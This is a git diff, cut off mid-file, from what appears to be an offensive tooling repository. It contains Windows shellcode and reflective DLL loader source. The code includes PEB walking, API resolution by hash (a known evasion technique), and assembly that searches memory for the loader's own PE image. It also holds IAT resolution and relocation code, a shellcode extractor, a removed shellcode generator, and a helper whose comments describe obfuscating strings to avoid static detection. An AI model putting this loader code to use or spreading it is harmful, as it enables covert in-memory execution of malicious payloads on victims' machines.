zYdG23(7FSDb+M)Zh;?9WkH92Jq}Y3ma0p#!lv8S5vD74PQkqhcj91aUK5JoW}FdRe8C1vC9dUS4<+6F=y{YY zP#bnsXct8e_Tvo!v0XDLph88N9`G6AWJDJ$z}fOfA}|nhkv{D>WWhCD@c^84S(iLB zUD-9v@>O*AMLllRZos`F*m9)jZCClL#f^zo@wyQ5osb4uyC5fQc^htqIni?^tLrv} z;UOwR4UM(9C3wjaa}GT)j5Py2Sd@7hPdAnk&69(T+j>Sa<0FY9w3MNy-Lmv)_jt{n z<|P@IdMh(s&dap%Bi8!3{ugYFS-bDnReQ^vKgjJWJv1EEINyrD;?YKW2HdWn(b*)M zs~+JH7uU4e>_jZ8i|HYIAD*$du2$L~{!{CJk-^+piwEiD4Q#ZDN*AfC*o!&%FxccM zSlN7B-@%QT*lC0Jbhwk^yWwYb{jfTihFYYi3 zf}875g@o~XNom5(-FP2ITEYaaJ{0j&0X~aG;zohENL+x^f{jrm>7*ePFbZ%N8j|8R z;ez_8c-puiRKxERsR@FcN}-wn?s0Aogko_#T2Bir!BxI$MDkGQsN7#027Ad6`x{09 zUe7=`SIal9jO_1ODDJ{9i`nG!dzloRYGY4%_2WDw#^I;R7jt<9`L$hEkzDIcp3v)g z^zt=aUcqU${Moj2xvji#qk4R1>KckIyoKO>0dG(%p1=V}%RsE{GYX6tG{9j9zSCB|lglfpe=C`IsB#Ma$X4Es_c_v`V9$9nt^TTVD*Y%_RC!K?Q#9EC5`_D D5L^?; literal 0 HcmV?d00001 diff --git a/payload/win/shellcode/script/calc_hash_module.cpp b/payload/win/shellcode/script/calc_hash_module.cpp new file mode 100644 index 0000000..e2c75f0 --- /dev/null +++ b/payload/win/shellcode/script/calc_hash_module.cpp @@ -0,0 +1,75 @@ +#include +#include +#include +#include +#include +#include + +#define HASH_IV 0x35 +#define RANDOM_ADDR 0xab10f29f + +char* toUpper(const char* str) +{ + size_t dwLen = strlen(str); + char result[dwLen + 1]; + + for (size_t i = 0; i < dwLen; i++) + { + result[i] = toupper(str[i]); + } + result[dwLen] = '\0'; + + return strdup(result); +} + +unsigned long calcHash(const char* str) +{ + unsigned long hash = HASH_IV; + const unsigned char* s = (const unsigned char*)str; + + while (*s) + { + hash = hash * RANDOM_ADDR + (*s); + *s++; + } + + return hash & 0xFFFFFFFF; +} + +int main() +{ + std::map myMap; + + char modules[3][30] = {"kernel32.dll", "ntdll.dll", "user32.dll"}; + + for (int i = 0; i < 3; i++) + { + char* moduleUpper = toUpper(modules[i]); + + // Make a key + char buffer[100]; + std::sprintf(buffer, "#define HASH_MODULE_%s", moduleUpper); + std::string key(buffer); + // Remvoe '.DLL' from the key. + key = key.substr(0, key.length() - 4); + + myMap[key] = calcHash(modules[i]); + } + + // Get max key length for the map. + size_t maxLen = 0; + for (const auto& pair : myMap) + { + size_t keyLen = pair.first.length(); + if (keyLen > maxLen) + { + maxLen = keyLen; + } + } + + // Output + for (const auto& pair : myMap) + { + printf("%-*s 0x%lx\n", static_cast(maxLen), pair.first.c_str(), pair.second); + } +} \ No newline at end of file diff --git a/payload/win/shellcode/script/extract.py b/payload/win/shellcode/script/extract.py new file mode 100644 index 0000000..0bacff7 --- /dev/null +++ b/payload/win/shellcode/script/extract.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- +import pefile +import argparse + +if __name__ in '__main__': + try: + parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' ) + parser.add_argument('-f', required = True, help = 'Path to the source executable', type = str) + parser.add_argument('-o', required = True, help = 'Path to store the output raw binary', type = str) + option = parser.parse_args() + + PeExe = pefile.PE(option.f) + PeSec = PeExe.sections[0].get_data() + + if PeSec.find( b'ENDOFCODE' ) != None: + ScRaw = PeSec[:PeSec.find(b'ENDOFCODE')] + f = open(option.o, 'wb+') + f.write(ScRaw) + f.close() + else: + print('[!] error: no ending tag') + except Exception as e: + print('[!] error: {}'.format(e)) diff --git a/payload/win/shellcode/script/linker.ld b/payload/win/shellcode/script/linker.ld new file mode 100644 index 0000000..fe06e1e --- /dev/null +++ b/payload/win/shellcode/script/linker.ld @@ -0,0 +1,13 @@ +SECTIONS +{ + .text : + { + *(.text$A) + *(.text$B) + *(.text$C) + *(.text$D) + *(.text$E) + *(.rdata*) + *(.text$F) + } +} \ No newline at end of file diff --git a/payload/win/shellcode/script/shellcode_generator.py b/payload/win/shellcode/script/shellcode_generator.py deleted file mode 100644 index 9bff517..0000000 --- a/payload/win/shellcode/script/shellcode_generator.py +++ /dev/null @@ -1,68 +0,0 @@ -import argparse -import os -import subprocess - -from asm import exec as asm_exec - -ASM_FILE = "/tmp/shellcode_generator.asm" -OBJ_FILE = "/tmp/shellcode_generator.o" - -def delete_tmp_files(): - if os.path.isfile(ASM_FILE): - os.remove(ASM_FILE) - if os.path.isfile(OBJ_FILE): - os.remove(OBJ_FILE) - -def compile_asm(type: str, type_args: str) -> bool: - asm_code = "" - - if type == "exec": - asm_code = asm_exec.generate(type_args) - - # Write the assembly code to file. - with open(ASM_FILE, "w") as f: - f.write(asm_code) - - # Compile assembly. - result = subprocess.call(["nasm", "-f", "win64", "-o", OBJ_FILE, ASM_FILE]) - if result != 0: - return False - - return True - -def extract_shellcode() -> bytes: - # Extract shellcode from object file. - objdump_output = subprocess.check_output(["objdump", "-D", OBJ_FILE]).decode() - - shellcode_lines = objdump_output.splitlines() - shellcode = "" - for line in shellcode_lines: - if len(line) > 0 and line[0] == ' ': - shellcode += line.split('\t')[1].replace(" ", "") - - # Convert hex to binary data - binary_data = bytes.fromhex(shellcode) - - return binary_data - -def main(): - parser = argparse.ArgumentParser(description="Shellcode Generator") - parser.add_argument('-t', '--type', help='Shellcode type e.g. "exec", "dll-loader"') - parser.add_argument('-c', '--cmd', help='Command name e.g. "calc.exe". This option must be specified for the "exec" type') - parser.add_argument('-o', '--output', help='Output file') - args = parser.parse_args() - - if compile_asm(args.type, args.cmd) is False: - delete_tmp_files() - return - - binary_data = extract_shellcode() - - # Write to out file - with open(args.output, "wb") as f: - f.write(binary_data) - - delete_tmp_files() - -if __name__ == "__main__": - main() diff --git a/payload/win/shellcode/script/utils/convert.py b/payload/win/shellcode/script/utils/convert.py deleted file mode 100644 index 6a4b6de..0000000 --- a/payload/win/shellcode/script/utils/convert.py +++ /dev/null @@ -1,48 +0,0 @@ -from typing import List, Tuple - -# Convert string to ASCII code for assembly. -# e.g. calc.exe -(HEX)-> 63616c632e657865 -(LITTLE-ENDIAN)-> 6578652e636c6163 -(NOT)-> 9A879AD19C939E9C -# If set 'not_op' to True, avoid to detect it in static analysis. -def str2hex(text: str, not_op: bool) -> Tuple[List[str], str]: - # str -> hex - cmd_hex = text.encode('utf-8').hex() - - # Split into 16-digit - chunks = [cmd_hex[i:i+16] for i in range(0, len(cmd_hex), 16)] - - for i in range(0, len(chunks)): - # hex -> hex(little-endian) - chunks[i] = bytes.fromhex(chunks[i])[::-1].hex() - - # Get the shift right number for the last element (it's used for `shr rax, 0x[hex_num]` in assembly) - shr_hex = hex((16 - len(chunks[-1])) * 4)[2:] - - # Fill with 'f' for the last element - if len(chunks[-1]) < 16: - chunks[-1] = chunks[-1].ljust(16, "f") - - # Lastly, reverse the chunks - chunks.reverse() - - return chunks, shr_hex - - - # if not_op is False: - # hexarr.append('0x' + cmd_hex_little) - # else: - # # NOT operations - # not_result = "" - # max_len = 16 - # # for i in range(0, max_len, 2): - # for i in range(0, len(cmd_hex_little), 2): - # try: - # hex_chars = cmd_hex_little[i:i+2] - # hex_chars_not_int = ~int(hex_chars, 16) - # hex_chars_not = format(hex_chars_not_int & 0xFF, '02x') - # not_result += hex_chars_not - # except: - # not_result += '' - - - # hexarr.append('0x' + not_result) - \ No newline at end of file diff --git a/payload/win/shellcode/src/asm/rfl.x64.asm b/payload/win/shellcode/src/asm/rfl.x64.asm new file mode 100644 index 0000000..c7f5d8a --- /dev/null +++ b/payload/win/shellcode/src/asm/rfl.x64.asm @@ -0,0 +1,39 @@ +extern Entry + +global AlignRSP +global ReflectiveCaller + +section .text$A + + AlignRSP: + push rsi + mov rsi, rsp + and rsp, 0x0FFFFFFFFFFFFFFF0 + sub rsp, 0x020 + call Entry + mov rsp, rsi + pop rsi + ret + +section .text$F + + ReflectiveCaller: + call caller + caller: + pop rcx + + loop: + xor rbx, rbx + mov ebx, 0x5A4D + inc rcx + cmp bx, [rcx] + jne loop + xor rax, rax + mov ax, [rcx + 0x3C] + add rax, rcx + xor rbx, rbx + add bx, 0x4550 + cmp bx, [rax] + jne loop + mov rax, rcx + ret \ No newline at end of file diff --git a/payload/win/shellcode/src/asm/rfl.x86.asm b/payload/win/shellcode/src/asm/rfl.x86.asm new file mode 100644 index 0000000..cb79077 --- /dev/null +++ b/payload/win/shellcode/src/asm/rfl.x86.asm @@ -0,0 +1,39 @@ +extern Entry + +global AlignRSP +global ReflectiveCaller + +section .text$A + + AlignRSP: + push esi + mov esi, esp + and esp, 0x0FFFFFFF0 + sub esp, 0x020 + call Entry + mov esp, esi + pop esi + ret + +section .text$F + + ReflectiveCaller: + call caller + caller: + pop ecx + + loop: + xor ebx, ebx + mov ebx, 0x5A4D + inc ecx + cmp bx, [ecx] + jne loop + xor eax, eax + mov ax, [rcx + 0x3C] + add eax, ecx + xor ebx, ebx + add bx, 0x4550 + cmp bx, [eax] + jne loop + mov eax, ecx + ret \ No newline at end of file diff --git a/payload/win/shellcode/src/asm/rsl.x64.asm b/payload/win/shellcode/src/asm/rsl.x64.asm deleted file mode 100644 index 9a98a71..0000000 --- a/payload/win/shellcode/src/asm/rsl.x64.asm +++ /dev/null @@ -1,24 +0,0 @@ -global ReflectiveCaller - -section .text - - ReflectiveCaller: - call pop - pop: - pop rcx - - loop: - xor rbx, rbx - mov ebx, 0x5A4D - dec rcx - cmp bx, word ds:[rcx] - jne loop - xor rax, rax - mov ax, [rcx + 0x3C] - add rax, rcx - xor rbx, rbx - add bx, 0x4550 - cmp bx, word ds:[rax] - jne loop - mov rax, rcx - ret \ No newline at end of file diff --git a/payload/win/shellcode/src/asm/rsl.x86.asm b/payload/win/shellcode/src/asm/rsl.x86.asm deleted file mode 100644 index 544115a..0000000 --- a/payload/win/shellcode/src/asm/rsl.x86.asm +++ /dev/null @@ -1,24 +0,0 @@ -global _ReflectiveCaller - -section .text - - _ReflectiveCaller: - call pop - pop: - pop ecx - - loop: - xor ebx, ebx - mov ebx, 0x5A4D - dec ecx - cmp bx, word ds:[ecx] - jne loop - xor eax, eax - mov ax, [ecx + 0x3C] - add eax, ecx - xor ebx, ebx - add bx, 0x4550 - cmp bx, word ds:[eax] - jne loop - mov eax, ecx - ret \ No newline at end of file diff --git a/payload/win/shellcode/src/core/modules.cpp b/payload/win/shellcode/src/core/modules.cpp deleted file mode 100644 index 7e36e68..0000000 --- a/payload/win/shellcode/src/core/modules.cpp +++ /dev/null @@ -1,50 +0,0 @@ -#include "core/modules.hpp" - -namespace Modules -{ - HMODULE GetModuleByName(WCHAR* wModuleName) - { - PPEB pPeb = nullptr; - #ifdef _WIN64 - pPeb = (PPEB)__readgsqword(0x60); - #else - pPeb = (PPEB)__readfsqword(0x30); - #endif - - // Get the Ldr pointer - PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr); - - // Get the first entry - PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink); - - while (pDte) - { - if (pDte->FullDllName.Length != (USHORT)0x0) - { - WCHAR* wCurrModuleName = pDte->FullDllName.Buffer; - - SIZE_T i = 0; - for (i = 0; wCurrModuleName[i] != 0 && wModuleName[i] != 0; i++) - { - WCHAR w1, w2; - TO_LOWERCASE(wCurrModuleName[i], w1); - TO_LOWERCASE(wModuleName[i], w2); - if (w1 != w2) break; - } - - if (wCurrModuleName[i] == 0 && wModuleName[i] == 0) - { - HMODULE hBase = (HMODULE)(pDte->InInitializationOrderLinks.Flink); - return hBase; - } - } - else - break; - - // Get the next entry - pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); - } - - return nullptr; - } -} \ No newline at end of file diff --git a/payload/win/shellcode/src/core/procs.cpp b/payload/win/shellcode/src/core/procs.cpp index 0c8da0b..99f937d 100644 --- a/payload/win/shellcode/src/core/procs.cpp +++ b/payload/win/shellcode/src/core/procs.cpp @@ -2,24 +2,104 @@ namespace Procs { - PVOID GetProcAddressByName(HANDLE hBase, CONST CHAR* sFuncName, SIZE_T dwFuncNameLen) + // It's used to calculate hash for modules. + SEC(text, B) ULONG StringToHashModule(WCHAR* wStr, SIZE_T dwStrLen) { - PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hBase; - PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(hBase + pDosHeader->e_lfanew); + ULONG dwHash = HASH_IV; + WCHAR* pwStr = wStr; + SIZE_T dwCnt = 0; - PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(hBase + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + do + { + WCHAR c = *pwStr; + + if (!c) + { + break; + } + + // If a character is uppercase, convert it to lowercase. + if (c >= L'A' && c <= L'Z') + { + c += L'a' - L'A'; + } + + dwHash = dwHash * RANDOM_ADDR + c; + ++pwStr; + dwCnt++; + + if (dwStrLen > 0 && dwCnt >= dwStrLen) + { + break; + } + } while (TRUE); + + return dwHash & 0xFFFFFFFF; + } + + // It's used to calculate hash for functions. + SEC(text, B) DWORD StringToHashFunc(char* str) + { + int c; + DWORD dwHash = HASH_IV; + + while (c = *str++) + { + dwHash = dwHash * RANDOM_ADDR + c; + } + + return dwHash & 0xFFFFFFFF; + } + + SEC(text, B) PVOID GetModuleByHash(DWORD dwHash) + { + PPEB pPeb = (PPEB)PPEB_PTR; + PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr; + + // Get the first entry + PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)pLdr->InLoadOrderModuleList.Flink; + + while (pDte) + { + if (StringToHashModule(pDte->BaseDllName.Buffer, pDte->BaseDllName.Length) == dwHash) + { + return pDte->DllBase; + } + + // Get the next entry + pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); + } + + return nullptr; + } + + SEC(text, B) PVOID GetProcAddressByHash(HMODULE hModule, DWORD dwHash) + { + PVOID pFuncAddr = nullptr; + + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule; + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + pDosHeader->e_lfanew); + + PIMAGE_EXPORT_DIRECTORY pExportDirRVA = (PIMAGE_EXPORT_DIRECTORY)( + (DWORD_PTR)hModule + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + ); - PDWORD pdwFuncNames = (PDWORD)(hBase + pExportDir->AddressOfNames); - PDWORD pdwFuncAddresses = (PDWORD)(hBase + pExportDir->AddressOfFunctions); - PWORD pwFuncNameOrdinals = (PWORD)(hBase + pExportDir->AddressOfNameOrdinals); + PDWORD pdwAddrOfFuncsRVA = (PDWORD)((DWORD_PTR)hModule + pExportDirRVA->AddressOfFunctions); + PDWORD pdwAddrOfNamesRVA = (PDWORD)((DWORD_PTR)hModule + pExportDirRVA->AddressOfNames); + PWORD pdwAddrOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)hModule + pExportDirRVA->AddressOfNameOrdinals); - for (DWORD i = 0; i < pExportDir->NumberOfFunctions; i++) + for (DWORD i = 0; i < pExportDirRVA->NumberOfFunctions; i++) { - CHAR* pFuncName = (CHAR*)(hBase + pdwFuncNames[i]); + DWORD dwFuncNameRVA = pdwAddrOfNamesRVA[i]; + DWORD_PTR dwpFuncNameRVA = (DWORD_PTR)hModule + dwFuncNameRVA; + char* sFuncName = (char*)dwpFuncNameRVA; + DWORD_PTR dwpFuncAddrRVA = 0; - if (Utils::MemCmp(pFuncName, sFuncName, dwFuncNameLen) == 0) + DWORD dwFuncNameHash = StringToHashFunc(sFuncName); + if (dwFuncNameHash == dwHash) { - PVOID pFuncAddr = (PVOID)(hBase + pdwFuncAddresses[pwFuncNameOrdinals[i]]); + dwpFuncAddrRVA = pdwAddrOfFuncsRVA[pdwAddrOfNameOrdinalsRVA[i]]; + pFuncAddr = (PVOID)((DWORD_PTR)hModule + dwpFuncAddrRVA); return pFuncAddr; } } diff --git a/payload/win/shellcode/src/core/utils.cpp b/payload/win/shellcode/src/core/utils.cpp deleted file mode 100644 index 9d4975d..0000000 --- a/payload/win/shellcode/src/core/utils.cpp +++ /dev/null @@ -1,37 +0,0 @@ -#include "core/utils.hpp" - -namespace Utils -{ - INT MemCmp(const void* str1, const void* str2, SIZE_T n) - { - CONST UCHAR* s1 = (CONST UCHAR*)str1; - CONST UCHAR* s2 = (CONST UCHAR*)str2; - - while (n--) - { - if (*s1 != *s2) - { - return *s1 - *s2; - } - s1++; - s2++; - } - return 0; - } - - // Reference: - // https://github.com/HavocFramework/Havoc/blob/ea3646e055eb1612dcc956130fd632029dbf0b86/payloads/DllLdr/Source/Entry.c#L393 - SIZE_T StrLenA(LPCSTR str) - { - LPCSTR str2 = str; - for (str2 = str; *str2; ++str2); - return (str2 - str); - } - - SIZE_T StrLenW(LPCWSTR str) - { - LPCWSTR str2; - for (str2 = str; *str2; ++str2); - return (str2 - str); - } -} \ No newline at end of file diff --git a/payload/win/shellcode/src/entry.cpp b/payload/win/shellcode/src/entry.cpp index 08942a5..46d44f3 100644 --- a/payload/win/shellcode/src/entry.cpp +++ b/payload/win/shellcode/src/entry.cpp @@ -3,377 +3,275 @@ using DLLEntry = BOOL(WINAPI *)(HINSTANCE dll, DWORD reason, LPVOID reserved); // For 64 bit shellcodes we will set this as the entrypoint -void AlignRSP() -{ - // AT&T syntax - // asm("push %rsi\n" - // "mov % rsp, % rsi\n" - // "and $0x0FFFFFFFFFFFFFFF0, % rsp\n" - // "sub $0x020, % rsp\n" - // "call Entry\n" - // "mov % rsi, % rsp\n" - // "pop % rsi\n" - // "ret\n"); - - // Intel syntax - asm("push rsi\n" - "mov rsi, rsp\n" - "and rsp, 0x0FFFFFFFFFFFFFFF0\n" - "sub rsp, 0x020\n" - "call Entry\n" - "mov rsp, rsi\n" - "pop rsi\n" - "ret\n"); -} - -int Entry() -{ - // Brute force DLL base address - ULONG_PTR uLibAddr = (ULONG_PTR)ReflectiveCaller(); - // ULONG_PTR uLibAddr = (ULONG_PTR)ReflectiveDllLoader; - - LOADLIBRARYA pLoadLibraryA = NULL; - GETPROCADDRESS pGetProcAddress = NULL; - VIRTUALALLOC pVirtualAlloc = NULL; - NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; - - ULONG_PTR uBaseAddr; - ULONG_PTR uExportDir; - ULONG_PTR uNames; - ULONG_PTR uNameOrdinals; - ULONG_PTR uAddresses; - DWORD dwHashValue; - - ULONG_PTR uHeaderValue; - ULONG_PTR uValueA; - ULONG_PTR uValueB; - ULONG_PTR uValueC; - ULONG_PTR uValueD; - ULONG_PTR uValueE; - - USHORT uCounter; - - while (TRUE) +// void AlignRSP() +// { +// // AT&T syntax +// // asm("push %rsi\n" +// // "mov % rsp, % rsi\n" +// // "and $0x0FFFFFFFFFFFFFFF0, % rsp\n" +// // "sub $0x020, % rsp\n" +// // "call Entry\n" +// // "mov % rsi, % rsp\n" +// // "pop % rsi\n" +// // "ret\n"); + +// // Intel syntax +// asm("push rsi\n" +// "mov rsi, rsp\n" +// "and rsp, 0x0FFFFFFFFFFFFFFF0\n" +// "sub rsp, 0x020\n" +// "call Entry\n" +// "mov rsp, rsi\n" +// "pop rsi\n" +// "ret\n"); +// } + +VOID ResolveIAT( + LPVOID lpVirtualAddr, + LPVOID lpIatDir, + Procs::LPPROC_LOADLIBRARYA lpLoadLibraryA, + Procs::LPPROC_GETPROCADDRESS lpGetProcAddress +) { + PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = nullptr; + + for (pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)lpIatDir; pImportDescriptor->Name != 0; ++pImportDescriptor) { - if (((PIMAGE_DOS_HEADER)uLibAddr)->e_magic == IMAGE_DOS_SIGNATURE) - { - uHeaderValue = ((PIMAGE_DOS_HEADER)uLibAddr)->e_lfanew; - - if (sizeof(IMAGE_DOS_HEADER) <= uHeaderValue && uHeaderValue < 1024) - { - uHeaderValue += uLibAddr; - if (((PIMAGE_NT_HEADERS)uHeaderValue)->Signature == IMAGE_NT_SIGNATURE) - break; - } - } - uLibAddr--; - } + HMODULE hImportModule = lpLoadLibraryA( + (LPCSTR)((ULONG_PTR)lpVirtualAddr + pImportDescriptor->Name) + ); - // Get pointer to PEB - #ifdef _WIN64 - uBaseAddr = __readgsqword(0x60); - #else - uBaseAddr = __readfsqword(0x30); - #endif - - uBaseAddr = (ULONG_PTR)((PPEB)uBaseAddr)->Ldr; - - uValueA = (ULONG_PTR)((PPEB_LDR_DATA)uBaseAddr)->InMemoryOrderModuleList.Flink; - while (uValueA) - { - uValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY_R)uValueA)->BaseDllName.Buffer; - uCounter = ((PLDR_DATA_TABLE_ENTRY_R)uValueA)->BaseDllName.Length; - uValueC = 0; + PIMAGE_THUNK_DATA pOriginalTD = (PIMAGE_THUNK_DATA)((ULONG_PTR)lpVirtualAddr + pImportDescriptor->OriginalFirstThunk); + PIMAGE_THUNK_DATA pFirstTD = (PIMAGE_THUNK_DATA)((ULONG_PTR)lpVirtualAddr + pImportDescriptor->FirstThunk); - do + for (; pOriginalTD->u1.Ordinal != 0; ++pOriginalTD, ++pFirstTD) { - uValueC = rotate((DWORD)uValueC); - if (*((BYTE*)uValueB) >= 'a') - uValueC += *((BYTE*)uValueB) - 0x20; - else - uValueC += *((BYTE*)uValueB); - uValueB++; - } while (--uCounter); - - // Compare the hash with the that of kernel32.dll - if ((DWORD)uValueC == HASH_KERNEL32DLL) - { - // get this modules base address - uBaseAddr = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY_R)uValueA)->DllBase; - - // get the VA of the modules NT Header - uExportDir = uBaseAddr + ((PIMAGE_DOS_HEADER)uBaseAddr)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uNames = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - - // get the VA of the export directory - uExportDir = (uBaseAddr + ((PIMAGE_DATA_DIRECTORY)uNames)->VirtualAddress); - - // get the VA for the array of name pointers - uNames = (uBaseAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfNames); - - // get the VA for the array of name ordinals - uNameOrdinals = (uBaseAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfNameOrdinals); - - uCounter = 3; - - // Loop while we still have imports to find - while (uCounter > 0) - { - // compute the hash values for this function name - dwHashValue = hash((char*)(uBaseAddr + DEREF_32(uNames))); - - // if we have found a function we want we get its virtual address - if( - dwHashValue == HASH_LOADLIBRARYA || - dwHashValue == HASH_GETPROCADDRESS || - dwHashValue == HASH_VIRTUALALLOC - ) { - // get the VA for the array of addresses - uAddresses = (uBaseAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfFunctions); + if (IMAGE_SNAP_BY_ORDINAL(pOriginalTD->u1.Ordinal)) + { + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)hImportModule + ((PIMAGE_DOS_HEADER)hImportModule)->e_lfanew); + PIMAGE_DATA_DIRECTORY pImageDir = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)hImportModule + (ULONG_PTR)lpIatDir); - // use this functions name ordinal as an index into the array of name pointers - uAddresses += (DEREF_16(uNameOrdinals) * sizeof(DWORD)); + ULONG_PTR uFuncAddresses = (ULONG_PTR)hImportModule + pExportDir->AddressOfFunctions; + uFuncAddresses += ((IMAGE_ORDINAL(pOriginalTD->u1.Ordinal) - pExportDir->Base) * sizeof(DWORD)); - // store this functions VA - if(dwHashValue == HASH_LOADLIBRARYA) - pLoadLibraryA = (LOADLIBRARYA)(uBaseAddr + DEREF_32(uAddresses)); - else if(dwHashValue == HASH_GETPROCADDRESS) - pGetProcAddress = (GETPROCADDRESS)(uBaseAddr + DEREF_32(uAddresses)); - else if(dwHashValue == HASH_VIRTUALALLOC ) - pVirtualAlloc = (VIRTUALALLOC)(uBaseAddr + DEREF_32(uAddresses)); - - // decrement our counter - uCounter--; + ULONGLONG lpFunc = (ULONGLONG)((ULONG_PTR)hImportModule + uFuncAddresses); + if (lpFunc) + { + pFirstTD->u1.Function = lpFunc; } - - // get the next exported function name - uNames += sizeof(DWORD); - // get the next exported function name ordinal - uNameOrdinals += sizeof(WORD); - } - } - else if ((DWORD)uValueC == HASH_NTDLLDLL) - { - // get this modules base address - uBaseAddr = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY_R)uValueA)->DllBase; - - // get the VA of the modules NT Header - uExportDir = uBaseAddr + ((PIMAGE_DOS_HEADER)uBaseAddr)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uNames = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - - // get the VA of the export directory - uExportDir = (uBaseAddr + ((PIMAGE_DATA_DIRECTORY)uNames)->VirtualAddress); - - // get the VA for the array of name pointers - uNames = (uBaseAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfNames); - - // get the VA for the array of name ordinals - uNameOrdinals = (uBaseAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfNameOrdinals); - - uCounter = 1; - - // loop while we still have imports to find - while(uCounter > 0) + } + else { - // compute the hash values for this function name - dwHashValue = hash((char*)(uBaseAddr + DEREF_32(uNames))); + PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)lpVirtualAddr + pOriginalTD->u1.AddressOfData); - // if we have found a function we want we get its virtual address - if(dwHashValue == HASH_NTFLUSHINSTRUCTIONCACHE) + ULONGLONG lpFunc = (ULONGLONG)lpGetProcAddress(hImportModule, (LPCSTR)pImportByName->Name); + if (lpFunc) { - // get the VA for the array of addresses - uAddresses = (uBaseAddr + ((PIMAGE_EXPORT_DIRECTORY)uExportDir)->AddressOfFunctions); - - // use this functions name ordinal as an index into the array of name pointers - uAddresses += (DEREF_16(uNameOrdinals) * sizeof(DWORD)); - - // store this functions VA - if(dwHashValue == HASH_NTFLUSHINSTRUCTIONCACHE) - pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uBaseAddr + DEREF_32(uAddresses)); - - // decrement our counter - uCounter--; + pFirstTD->u1.Function = lpFunc; } - - // get the next exported function name - uNames += sizeof(DWORD); - // get the next exported function name ordinal - uNameOrdinals += sizeof(WORD); } } - - if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) - break; - - uValueA = DEREF(uValueA); } +} - // get the VA of the NT Header for the PE to be loaded - uHeaderValue = uLibAddr + ((PIMAGE_DOS_HEADER)uLibAddr)->e_lfanew; - - // allocate all the memory for the DLL to be loaded into. we can load at any address because we will - // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. - uBaseAddr = (ULONG_PTR)pVirtualAlloc( - NULL, - ((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader.SizeOfImage, - MEM_RESERVE | MEM_COMMIT, - PAGE_EXECUTE_READWRITE - ); - - // we must now copy over the headers - uValueA = ((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader.SizeOfHeaders; - uValueB = uLibAddr; - uValueC = uBaseAddr; - - while(uValueA--) - *(BYTE*)uValueC++ = *(BYTE*)uValueB++; - - // uiValueA = the VA of the first section - uValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uHeaderValue)->FileHeader.SizeOfOptionalHeader); +VOID ReallocateSections( + LPVOID lpVirtualAddr, + LPVOID lpImageBase, + LPVOID lpBaseRelocDir, + PIMAGE_NT_HEADERS pNtHeaders +) { + ULONG_PTR uOffset = (ULONG_PTR)lpVirtualAddr - pNtHeaders->OptionalHeader.ImageBase; - // itterate through all sections, loading them into memory. - uValueE = ((PIMAGE_NT_HEADERS)uHeaderValue)->FileHeader.NumberOfSections; - while(uValueE--) + // and we itterate through all entries... + while(((PIMAGE_BASE_RELOCATION)lpBaseRelocDir)->SizeOfBlock) { - // uiValueB is the VA for this section - uValueB = (uBaseAddr + ((PIMAGE_SECTION_HEADER)uValueA)->VirtualAddress); - - // uiValueC if the VA for this sections data - uValueC = (uLibAddr + ((PIMAGE_SECTION_HEADER)uValueA)->PointerToRawData ); - - // copy the section over - uValueD = ((PIMAGE_SECTION_HEADER)uValueA)->SizeOfRawData; - - while(uValueD--) - *(BYTE*)uValueB++ = *(BYTE*)uValueC++; - - // get the VA of the next section - uValueA += sizeof(IMAGE_SECTION_HEADER); - } - - // uiValueB = the address of the import directory - uValueB = 